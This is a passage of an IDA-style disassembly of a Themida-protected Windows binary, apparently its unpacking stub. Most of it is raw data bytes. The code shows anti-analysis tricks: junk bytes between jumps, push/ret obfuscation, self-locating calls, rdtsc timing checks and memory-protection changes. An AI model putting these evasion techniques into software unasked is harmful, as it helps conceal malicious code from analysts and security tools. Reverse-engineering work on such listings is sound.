		dd 23B4F681h, 88B36D82h, 0D3816656h, 48F8E1Ah, 0DF8B6607h
		dd 0B720E281h, 0E8836E6Ah, 0CB816604h, 0F8813085h, 0FFFF8DF0h
		dd 0D850Fh, 8B660000h, 30E9D8h,	17080000h, 0E9A23353h
		dd 0Fh,	26056A24h, 3DCB67D7h, 0D137B2C2h, 0E9365DD0h, 0FFFFFF91h
		dd 0FE16C4C8h, 0CAC07ED6h, 0B81DCD14h, 0C75829BEh, 19E9DDDFh
		dd 4B000000h, 17F477h, 5 dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_5D45B0
; ---------------------------------------------------------------------------
		db 8Fh,	2, 0Dh
		dd 0AA6527C0h, 49C6C45Dh, 0E32C63FCh, 7F90FD96h, 7B734232h
		dd 17B0FD12h, 0B54E9B74h, 4EE734DBh, 0A882CF40h, 0E4365159h
		dd 68454DF6h, 0F31C7292h, 7798F5BEh, 631C332Ah,	0E0B3E827h
		dd 0DF5F5730h, 86192447h, 0C1F61975h, 0A8396F8h, 5F947B0Fh
		dd 19EC218Ch, 0DCB079AEh, 5C049A75h, 1C87DE2Dh,	991A51E7h
		dd 320907EDh, 77598276h, 0EABD7F11h, 0C91864F7h, 0E6A1A9C0h
		dd 9547DFF0h, 0A8E6F78Ah, 5427A867h, 0D11A285h,	7A1310A3h
		dd 13ACF916h, 1EF19C7Dh, 0D6577EB3h, 3D09426h, 0D1EB1A6h
		dd 0B45C917Eh, 0C2CE19C8h, 2767004Dh, 1A7029E8h, 137E91FFh
		dd 0E0AA0BDEh, 9427FA2Fh, 0ABF797AFh, 37A347DFh, 0B2E3E3AAh
		dd 7A3822BCh, 8A000000h, 92F5FD14h, 0F147DF5Fh,	4C4253E6h
		dd 174CC3CDh, 8CA4D944h, 47DF6001h, 0DBB22F9Bh,	22BCFEFBh
		dd 130h, 1A728200h, 95F7C0F5h, 137C457Ah, 6843DFCh, 6E01D409h
		dd 2DFF389h, 97BAD089h,	6A23BFD3h, 4CDF4A6Dh, 626A513Bh
		dd 47DF7425h, 0D53A5556h, 0F762CDA0h, 927D11AAh, 0D3B4BCD3h
		dd 1F47DF73h, 0F1F20804h, 202BC34Dh, 0E099908Dh, 5B2E63ACh
		dd 0E67996FAh, 0F41B72B8h, 2596F6BFh, 40F01F6Ch, 47DF5F47h
		dd 0BACDD534h, 0C947DF5Fh, 29E853BEh, 95321F70h, 6FA26127h
		dd 0A972A712h, 26F92EE1h, 644328BBh, 0A7E601E0h, 757B0C14h
		dd 0FD0847DFh, 751AD392h, 130A079Ah, 0B7043F92h, 0F1120AE4h
		dd 0C29AC303h, 0FA91F26Dh, 1D718215h, 0DD96BDF2h, 0BDCE61AEh
		dd 0D9404CCDh, 0B8ED58B7h, 3ABB7AE5h, 0BBC7262Fh, 8166F9F9h
		dd 338D7B8h, 89BE513Ah,	30BB26AAh, 0A97CB15Eh, 0E7FA163Eh
		dd 0BC5C50A0h, 0D0BF7822h, 0B1AAAC3Fh, 0FC000000h, 98A01B72h
		dd 47DF5FEFh, 0E116818Ch, 41497218h, 47DF5F46h,	8ABF2A35h
		dd 0E601E0F4h, 241B68A7h, 97A9C9A3h, 0DFAFF88Fh, 57808B47h
		dd 992CEE88h, 0D50A0588h, 3038830Ch, 47DFF457h,	525A1924h
		dd 47DFF535h, 9BD03B46h, 0DC4BCC0Bh, 0D8DF1A74h, 0BF5EB17h
		dd 8AF587BFh, 4D36ABF7h, 8D592E36h, 1F2A47DFh, 0D2D71F8Ch
		dd 586422BCh, 75000000h, 9831565Eh, 28947DFh, 6D05D80Dh
		dd 9781060Eh, 0F70247DFh, 14CBF98Ch, 5F92F5FDh,	0E6F147DFh
		dd 0C44B4253h, 45CAC68Fh, 0D2474710h, 0B6EB56B9h, 3B709FEDh
		dd 0BA1FC276h, 0E500E125h, 641A67A8h, 0C0F51A72h, 0DF5FE6A8h
		dd 974AB647h, 0BCFE90F0h, 14522h, 72970000h, 0F9C2F718h
		dd 1FC2BC95h, 1EA09634h, 0EAD67EB3h, 1D9EECF7h,	0DFA67215h
		dd 9B061147h, 4E6D23DCh, 0DFA74146h, 0CC374247h, 0D6DF3C39h
		dd 981930EFh, 2BA57D51h, 0C9BCB95h, 0E0F9F019h,	0DC335ABBh
		dd 0A15E949h, 253049F2h, 40474F66h, 1C4DF20Ah, 0F2097314h
		dd 6D05104Dh, 21EACF62h, 0BC55A26Dh, 0F0083DD2h, 4DF2099Dh
		dd 6DA26D21h, 0CD8429DCh, 13744440h, 985D927Dh,	53E8FDE4h
		dd 7717D20Fh, 0DCB24B98h, 5935FE33h, 4576F7B6h,	0F737B102h
		dd 2605EA7Dh, 8D463FA2h, 9F701BFEh, 992CFF34h, 0BC090688h
		dd 8F800CC5h, 87F4875Ah, 24AE630Fh, 164DCh, 0A5AE2E00h
		dd 154AC5CAh, 1018D742h, 49F17712h, 769DD2DDh, 87826FF5h
		dd 7EDFBED5h, 0FACD020Dh, 0D7385667h, 21305F18h, 185B559Bh
		dd 72319CFBh, 0F2011D6Ah, 0C0535E4Dh, 0AB642AC3h, 2EE1AD76h
		dd 4B961AF9h, 6221EEA0h, 44434Bh, 2C374DF2h, 2FA79C99h
		dd 8F24AE5Fh, 0D177078h, 59644DF2h, 63C4C6h, 14160000h
		dd 0CB132B93h, 3DD08FE4h, 0F7B5E68h, 97F8CB00h,	0EE116F9h
		dd 652BE4A3h, 38E481AAh, 0B700FD12h, 0BAADB524h, 0C9C7E006h
		dd 4B6289BEh, 0DEB74443h, 5A3637C7h, 42AD80B5h,	0B8384FAFh
		dd 0D286C7DEh, 1906100Fh, 38A435Ah, 0DB04D70Ch,	0AE7F7B77h
		dd 13730627h, 47DF2D54h, 780F5C67h, 9Dh, 539314E2h, 0EC236B23h
		dd 15BBE4B7h, 370C9F18h, 7C3F512Eh, 0E01E1374h,	0FA657047h
		dd 86C8D08Fh, 8149F23Fh, 16784176h, 7B13ACF9h, 45475F94h
		dd 3B4DF1F6h, 0A5741BD4h, 21F429E6h, 0D43B55B6h, 0ED39CC9Fh
		dd 7A95F9F4h, 0DAC7D02Dh, 7137131Bh, 45465007h,	0BE91C649h
		dd 0A9DE315Dh, 6D366BD6h, 182FEE21h, 0E4727710h, 9DA50447h
		dd 47E472EAh, 90238E99h, 64ABE2ABh, 0E728662Fh,	7071B5B2h
		dd 0A23F2B6Bh, 0B45B30E9h, 4419AC7Fh, 8097563Bh, 0B84BC4C7h
		dd 0F9EDF258h, 0B5020D49h, 0C0A5AEFFh, 5C31EA01h, 18AB7EB3h
		dd 0F4DA92B8h, 0D645C649h, 0D586208Bh, 4EC1CD2Eh, 336873BBh
		dd 2CEB246Ah, 36B0C0ABh, 0A033B481h, 8B840AA3h,	987713CCh
		dd 18FD9063h, 0BB5438F1h, 0A8DD325Ah, 1DE242D5h, 783C3AAFh
		dd 1C727D64h, 780889Fh,	745FD407h, 6CEB969h, 0A2AD5FD4h
		dd 3D51EA37h, 0BBD49DD2h, 34561F54h, 0ADDDA6DBh, 2C642D62h
		dd 0FD286E3h, 439E8ACAh, 0DC29E6A8h, 8FC44B43h,	8BDDE768h
		dd 920C7B83h, 646F5FD3h, 743AD3Bh, 126574h, 0D58E0000h
		dd 4F2257B8h, 49FF8890h, 717C5FD4h, 3422B0DEh, 0BBF01F72h
		dd 3E739CF2h, 0BFF41B75h, 457A95F6h, 0C9FE117Ch, 4D828D00h
		dd 0CF040B84h, 568B8406h, 0DB10FF8Dh, 0E38953D4h, 4C381h
		dd 0EB830000h, 241C8704h, 2404895Ch, 7B1D68h, 242C8900h
		dd 5C2568h, 243C8900h, 1784E368h, 242C8B06h, 4C481h, 8B540000h
		dd 0C483243Ch, 0EE895604h, 8B087789h, 0C4832434h, 2434FF04h
		dd 4C4815Fh, 0FF000000h, 815D2434h, 4C4h, 0F62FE900h, 3D28FFFAh
		dd 28549ED1h
; ---------------------------------------------------------------------------


loc_5D45B0:				; CODE XREF: Themida_:005D3FB8j
		mov	eax, 6178A73h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		db 0BAh, 0C6h, 30h
		dd 45B6912Ch, 0BBF8B461h, 0B035E060h, 0CF459C3Dh, 5A32E16h
		dd 7A4F4C6Ch, 3E029F61h, 0C1A51317h, 0E0D04247h, 1C8E93Fh
		dd 88880000h, 7	dup(88880041h),	41h, 3 dup(0)
		dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h
		dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h
		dd 44441111h, 2994444h,	203C988h, 88880010h, 88880011h
		dd 11118888h, 16441111h, 0
		dd 8800h, 88888800h, 0
		dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0
		dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h
		dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h
		dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h
		dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h
		dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h
		dd 16E6FFFFh, 16FA0040h, 40h, 0
		dd 30000h, 14h dup(0)
		dd 8C20000h, 75736600h,	0FE80h,	11h dup(0)
		dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 6178CDFh, 2C85C760h
		dd 6178Ch, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 6178C30h
		dd 6, 24E9h, 34858D00h,	5006178Ch, 8C84858Dh, 56500617h
		dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h,	178C3085h
		dd 0B5036106h, 6178C30h, 8C2C858Bh, 0C35D0617h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5D4845
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5D4851
; ---------------------------------------------------------------------------


loc_5D4845:				; CODE XREF: Themida_:005D482Ej
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5D4851:				; CODE XREF: Themida_:005D4840j
		push	ebx
		push	esi
		push	edi


loc_5D4854:				; CODE XREF: Themida_:005D48A9j
					; Themida_:005D48C5j ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5D4867:				; CODE XREF: Themida_:005D488Ej
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6178D96h
		lea	ebp, [ebp+6178C0Ch]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5D4894
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5D4867


loc_5D4894:				; CODE XREF: Themida_:005D4883j
		cmp	cl, 0Bh
		jz	loc_5D48F1
		cmp	al, 66h
		jnz	loc_5D48D2
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5D4854
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5D48CA
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5D4854
; ---------------------------------------------------------------------------


loc_5D48CA:				; CODE XREF: Themida_:005D48B7j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5D48D2:				; CODE XREF: Themida_:005D489Fj
		cmp	al, 67h
		jnz	loc_5D4854
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5D4854
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5D4854
; ---------------------------------------------------------------------------


loc_5D48F1:				; CODE XREF: Themida_:005D4897j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5D491D
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5D4922
; ---------------------------------------------------------------------------


loc_5D491D:				; CODE XREF: Themida_:005D48FCj
		movzx	edi, al
		shr	edi, 1


loc_5D4922:				; CODE XREF: Themida_:005D4918j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6178E4Eh
		lea	ebp, [ebp+6178B0Ch]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5D4AA4
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5D49E8
		dec	ecx
		jz	loc_5D49CB
		dec	ecx
		jnz	loc_5D4A3B
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D4A37
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D49AA
		mov	byte ptr [ebp+0Bh], 2


loc_5D49AA:				; CODE XREF: Themida_:005D49A0j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6178EDAh
		mov	dword ptr [ebp+6178C2Ch], 1
		pop	ebp
		jmp	loc_5D4A3B
; ---------------------------------------------------------------------------


loc_5D49CB:				; CODE XREF: Themida_:005D4985j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D4A15
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D4A15
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5D4A15
; ---------------------------------------------------------------------------


loc_5D49E8:				; CODE XREF: Themida_:005D497Ej
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5D4A2E
		cmp	byte ptr [ebp-5], 0
		jz	loc_5D4A1D
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5D4A15
		mov	[ebp+0Bh], cl


loc_5D4A15:				; CODE XREF: Themida_:005D49CFj
					; Themida_:005D49D9j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5D4A3B
; ---------------------------------------------------------------------------


loc_5D4A1D:				; CODE XREF: Themida_:005D49F6j
		cmp	dl, 5
		jnz	loc_5D4A3B
		mov	[ebp+0Bh], dl
		jmp	loc_5D4A3B
; ---------------------------------------------------------------------------


loc_5D4A2E:				; CODE XREF: Themida_:005D49ECj
		cmp	dl, 6
		jnz	loc_5D4A3B


loc_5D4A37:				; CODE XREF: Themida_:005D4996j
		mov	byte ptr [ebp+0Bh], 3


loc_5D4A3B:				; CODE XREF: Themida_:005D498Cj
					; Themida_:005D49C6j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5D4A69
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5D4A4B:				; CODE XREF: Themida_:005D4A61j
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5D4A4B
		mov	esi, edx


loc_5D4A69:				; CODE XREF: Themida_:005D4A3Ej
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5D4A9E
		cmp	edi, 7Fh
		ja	loc_5D4A9E
		test	bl, 38h
		jnz	loc_5D4A9E
		cmp	byte ptr [ebp-7], 0
		jz	loc_5D4A98
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5D4A9B
; ---------------------------------------------------------------------------


loc_5D4A98:				; CODE XREF: Themida_:005D4A89j
		push	1
		pop	eax


loc_5D4A9B:				; CODE XREF: Themida_:005D4A93j
		mov	[ebp-1], al


loc_5D4A9E:				; CODE XREF: Themida_:005D4A6Dj
					; Themida_:005D4A76j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5D4AA4:				; CODE XREF: Themida_:005D494Ej
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5D4ACF
		dec	eax
		dec	eax
		jz	loc_5D4AC5
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5D4AD7
; ---------------------------------------------------------------------------


loc_5D4AC5:				; CODE XREF: Themida_:005D4AB4j
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5D4AD4
; ---------------------------------------------------------------------------


loc_5D4ACF:				; CODE XREF: Themida_:005D4AACj
		mov	al, [ebp-3]
		add	al, 4


loc_5D4AD4:				; CODE XREF: Themida_:005D4ACAj
		add	[ebp-1], al


loc_5D4AD7:				; CODE XREF: Themida_:005D4AC0j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5D4AFF
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5D4AEA:				; CODE XREF: Themida_:005D4AF9j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5D4AEA


loc_5D4AFF:				; CODE XREF: Themida_:005D4ADFj
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		lea	eax, [ebp+6178CD9h]
		mov	[ebp+6121AEDh],	eax
		jmp	loc_5D4D7D
; ---------------------------------------------------------------------------
		pusha
		mov	cx, ds
		test	cl, 4
		jz	loc_5D4B59
		push	1
		push	dword ptr [ebp+61217F1h]
		lea	eax, [ebp+615827Ah]
		call	eax
		mov	[ebp+6121A5Dh],	eax
		mov	edi, esi
		shr	edi, 0Ch
		push	20060000h
		push	0
		push	2
		push	edi
		push	1000Dh
		call	dword ptr [ebp+6121A5Dh]
		jmp	loc_5D4B8B
; ---------------------------------------------------------------------------


loc_5D4B59:				; CODE XREF: Themida_:005D4B1Ej
		mov	byte ptr [ebp+61215C1h], 56h
		push	0A9C530DFh
		push	dword ptr [ebp+6123101h]
		lea	eax, [ebp+615827Ah]
		call	eax
		mov	[ebp+6121E95h],	eax
		lea	eax, [ebp+6121841h]
		push	eax
		push	40h
		push	5
		push	esi
		call	dword ptr [ebp+6121E95h]


loc_5D4B8B:				; CODE XREF: Themida_:005D4B54j
		popa
		retn
; ---------------------------------------------------------------------------
		align 10h
		dd 2 dup(0)
		dd 0D48B5200h, 8428B60h, 90BB8589h, 428B0617h, 0B385890Ch
		dd 8B061790h, 85891042h, 61790B7h, 90F1B58Dh, 858D0617h
		dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 1790BBB5h, 0B3858B06h
		dd 83061790h, 1790B7BDh, 840F0006h, 7, 2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 0BB858908h, 8D061790h,	179142B5h
		dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 1790BB85h, 4C206h
		dd 90BB858Bh, 8B0617h, 90BB8589h, 0CF0617h, 60000000h
		dd 9118B589h, 85890617h, 6179114h, 24E5858Dh, 408B0612h
		dd 51858944h, 8D061791h, 179187B5h, 0A1858D06h,	0FF005B8Eh
		dd 858B61D0h, 6179118h,	149D8BC3h, 0F061791h, 33C43B7h
		dd 785B8BD8h, 91149D03h, 738B0617h, 14B50324h, 56061791h
		dd 8B207B8Bh, 0BD031C73h, 6179114h, 9114B503h, 83FC0617h
		dd 8B41FFC9h, 1791189Dh, 3178B06h, 17911495h, 4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 17911485h,	18858906h, 8B061791h, 8BCE8BF0h
		dd 51BD81C1h, 61791h, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 6179151h
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 51BD8100h
		dd 61791h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 6179151h, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h
		db 0CFh
; ---------------------------------------------------------------------------


loc_5D4D7D:				; CODE XREF: Themida_:005D4B12j
		lea	eax, [ebp+61790BFh]
		mov	[ebp+6122835h],	eax
		lea	eax, [ebp+6179155h]
		mov	[ebp+6121EF9h],	eax
		lea	eax, [ebp+617911Ch]
		mov	[ebp+61203F9h],	eax
		jmp	loc_5D4EE2
; ---------------------------------------------------------------------------
		align 4
		dd 4Eh dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D4EE2:				; CODE XREF: Themida_:005D4DA1j
		cmp	dword ptr [ebp+6121FC9h], 1
		jz	loc_5D546A
		pusha
		mov	al, 0D0h
		jmp	loc_5D4F09
; ---------------------------------------------------------------------------
		db 5Bh
		dd 0B14B5A74h, 656A048Fh, 68A3159Bh, 986B6737h
		db 80h
; ---------------------------------------------------------------------------


loc_5D4F09:				; CODE XREF: Themida_:005D4EF2j
		popa
		mov	byte ptr [ebp+61215C1h], 43h
		jmp	loc_5D4F2A
; ---------------------------------------------------------------------------
		dw 7321h
		dd 17C52B01h, 6375EC46h, 435F2B73h, 57BB8391h
		db 94h,	6Ah
; ---------------------------------------------------------------------------


loc_5D4F2A:				; CODE XREF: Themida_:005D4F11j
		push	7D2BBDAFh
		push	eax
		push	edx
		pusha
		mov	ebx, edx
		push	ebx
		pop	ecx
		popa
		rdtsc
		jmp	loc_5D4F49
; ---------------------------------------------------------------------------
		dw 996Bh
		dd 0C6C6A056h, 76CEE51Ch
		db 2Bh
; ---------------------------------------------------------------------------


loc_5D4F49:				; CODE XREF: Themida_:005D4F39j
		pop	edx
		pop	eax
		add	dword ptr [esp], 6F7A1346h
		jbe	loc_5D4F68
		jp	loc_5D4F68
		jmp	loc_5D4F68
; ---------------------------------------------------------------------------
		db 81h
		dd 0B2AFFB24h
; ---------------------------------------------------------------------------


loc_5D4F68:				; CODE XREF: Themida_:005D4F52j
					; Themida_:005D4F58j ...
		push	dword ptr [ebp+6123101h]
		jmp	loc_5D4F81
; ---------------------------------------------------------------------------
		db 0Eh
		dd 0F3CFE7B4h, 5E013A5h, 77C081E4h
		db 34h
; ---------------------------------------------------------------------------


loc_5D4F81:				; CODE XREF: Themida_:005D4F6Ej
		lea	eax, [ebp+615827Ah]
		jg	loc_5D4F8E
		cmc


loc_5D4F8E:				; CODE XREF: Themida_:005D4F87j
		call	eax
		pusha
		jg	loc_5D4F9A
		mov	ax, si


loc_5D4F9A:				; CODE XREF: Themida_:005D4F91j
		xor	di, 82DCh
		popa
		mov	[ebp+6121DE5h],	eax
		pusha
		pusha
		or	dx, 0BC7h
		and	bx, 6389h
		popa
		jmp	loc_5D4FCB
; ---------------------------------------------------------------------------
		dd 0CF0EC2C1h, 0F1153110h, 75D933Ah, 0C34DF577h
		db 0ECh, 0E0h, 0A4h
; ---------------------------------------------------------------------------


loc_5D4FCB:				; CODE XREF: Themida_:005D4FB3j
		popa
		mov	byte ptr [ebp+61215C1h], 50h
		js	loc_5D4FE0
		pusha
		adc	ax, 0F2EFh
		popa


loc_5D4FE0:				; CODE XREF: Themida_:005D4FD3j
		push	0E728CB97h
		jl	loc_5D4FF9
		push	eax
		push	edx
		jnb	$+6
		rdtsc
		pusha
		popa
		pop	edx
		pop	eax


loc_5D4FF9:				; CODE XREF: Themida_:005D4FE5j
		xor	dword ptr [esp], 4F8566C1h
		pusha
		jmp	loc_5D5019
; ---------------------------------------------------------------------------
		dw 0B6E0h
		dd 9F0C074Ch, 78A008D3h, 3F6C3AD0h, 0B997D716h
		db 2Eh
; ---------------------------------------------------------------------------


loc_5D5019:				; CODE XREF: Themida_:005D5001j
		ja	loc_5D5025
		js	$+6


loc_5D5025:				; CODE XREF: Themida_:loc_5D5019j
		popa
		push	dword ptr [ebp+6123101h]
		jmp	loc_5D503E
; ---------------------------------------------------------------------------
		jnb	short loc_5D50A1
		xor	ebx, ebp
		add	[edi], al
		mov	al, ds:0B4934341h
		stosb
		lodsd


loc_5D503E:				; CODE XREF: Themida_:005D502Cj
		lea	eax, [ebp+615827Ah]
		push	0
		push	ebp
		call	sub_5D504F
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D504F	proc near		; CODE XREF: Themida_:005D5047p

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 1Ah
		inc	ebp
		push	ebp
		retn
sub_5D504F	endp

; ---------------------------------------------------------------------------
		mov	esi, 37DCBEF5h
		dec	ebx
		pushf
		jnz	loc_5D507F
		jmp	loc_5D507F
; ---------------------------------------------------------------------------
		db 6Dh,	6Bh, 0AEh
; ---------------------------------------------------------------------------
		adc	[esi+38FCC5AEh], al
		adc	eax, 0B674A7A2h


loc_5D507F:				; CODE XREF: Themida_:005D5066j
					; Themida_:005D506Cj
		call	eax
		pusha
		stc
		push	eax
		jmp	loc_5D5090
; ---------------------------------------------------------------------------
		db 6Ch,	97h, 0F4h
		dd 55721971h
; ---------------------------------------------------------------------------


loc_5D5090:				; CODE XREF: Themida_:005D5084j
		pop	ecx
		popa
		pusha
		call	near ptr loc_5D50A1+3
		sbb	edi, [bx+di]
		cmp	[edi-500C0655h], edi


loc_5D50A1:				; CODE XREF: Themida_:005D5031j
					; Themida_:005D5093p
		call	far ptr	5BDFh:0B70F528Ch
		movsx	eax, ax
		popa
		mov	[ebp+612145Dh],	eax
		push	0
		push	ecx
		call	sub_5D50BD
		and	[ecx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D50BD	proc near		; CODE XREF: Themida_:005D50B5p

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Bh
		inc	ecx
		push	ecx
		retn
sub_5D50BD	endp

; ---------------------------------------------------------------------------
		jnz	short loc_5D5123
		pop	ecx
		adc	bl, bl
		inc	cl
		retn	10E9h
; ---------------------------------------------------------------------------
		align 4
		dd 0ED100000h, 0D5D89E2Dh, 3EC741BCh, 2300E76Fh, 568B837h
		dd 50BBFC4Eh, 8B0F6052h, 0
		dd 0F6129B2h, 0E9525031h, 9, 12DBA4A0h,	9D05EBB4h, 0E9310FB1h
		dd 5, 5E35B8EAh, 5A585A79h, 24048158h
; ---------------------------------------------------------------------------
		sub	bl, [edx-6Dh]


loc_5D5123:				; CODE XREF: Themida_:005D50CDj
		xor	al, 60h
		jmp	loc_5D5134
; ---------------------------------------------------------------------------
		dw 27E0h
		dd 38E79715h, 0BDE33156h
; ---------------------------------------------------------------------------


loc_5D5134:				; CODE XREF: Themida_:005D5125j
		sbb	dx, 5546h
		popa
		push	dword ptr [ebp+6123101h]
		jnb	loc_5D5153
		jmp	loc_5D5153
; ---------------------------------------------------------------------------
		db 29h
		dd 4901A1DBh
		db 9Dh,	0ADh, 0
; ---------------------------------------------------------------------------


loc_5D5153:				; CODE XREF: Themida_:005D5140j
					; Themida_:005D5146j
		lea	eax, [ebp+615827Ah]
		push	0
		push	edi
		call	sub_5D5164
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5164	proc near		; CODE XREF: Themida_:005D515Cp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 15h
		inc	edi
		push	edi
		retn
sub_5D5164	endp

; ---------------------------------------------------------------------------
		cmpsb
		xchg	eax, ebp
		jmp	loc_5D5186
; ---------------------------------------------------------------------------
		db 87h
		dd 53D9F7C4h, 0ED90F2CDh
		db 0ADh, 0D0h
; ---------------------------------------------------------------------------


loc_5D5186:				; CODE XREF: Themida_:005D5176j
		call	eax
		push	0
		push	edx
		call	sub_5D5193
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D5193	proc near		; CODE XREF: Themida_:005D518Bp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 14h
		inc	edx
		push	edx
		retn
sub_5D5193	endp

; ---------------------------------------------------------------------------
		sub	ecx, edi
		mov	[ebp+6122CB5h],	eax
		push	0
		push	edx
		call	sub_5D51B6
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D51B6	proc near		; CODE XREF: Themida_:005D51AEp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Dh
		inc	edx
		push	edx
		retn
sub_5D51B6	endp

; ---------------------------------------------------------------------------
		dw 745Bh
		dd 8FB14B5Ah, 9B656A04h, 188B0Fh, 13E90000h, 95000000h
		dd 49BC1D69h, 0C8505F82h, 0B1DB59E1h, 0BBF3C53Fh, 85C69CE7h
		dd 61215C1h, 56006A50h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 0E992D4B6h, 0Ah, 24ADF95Dh, 41107FE7h
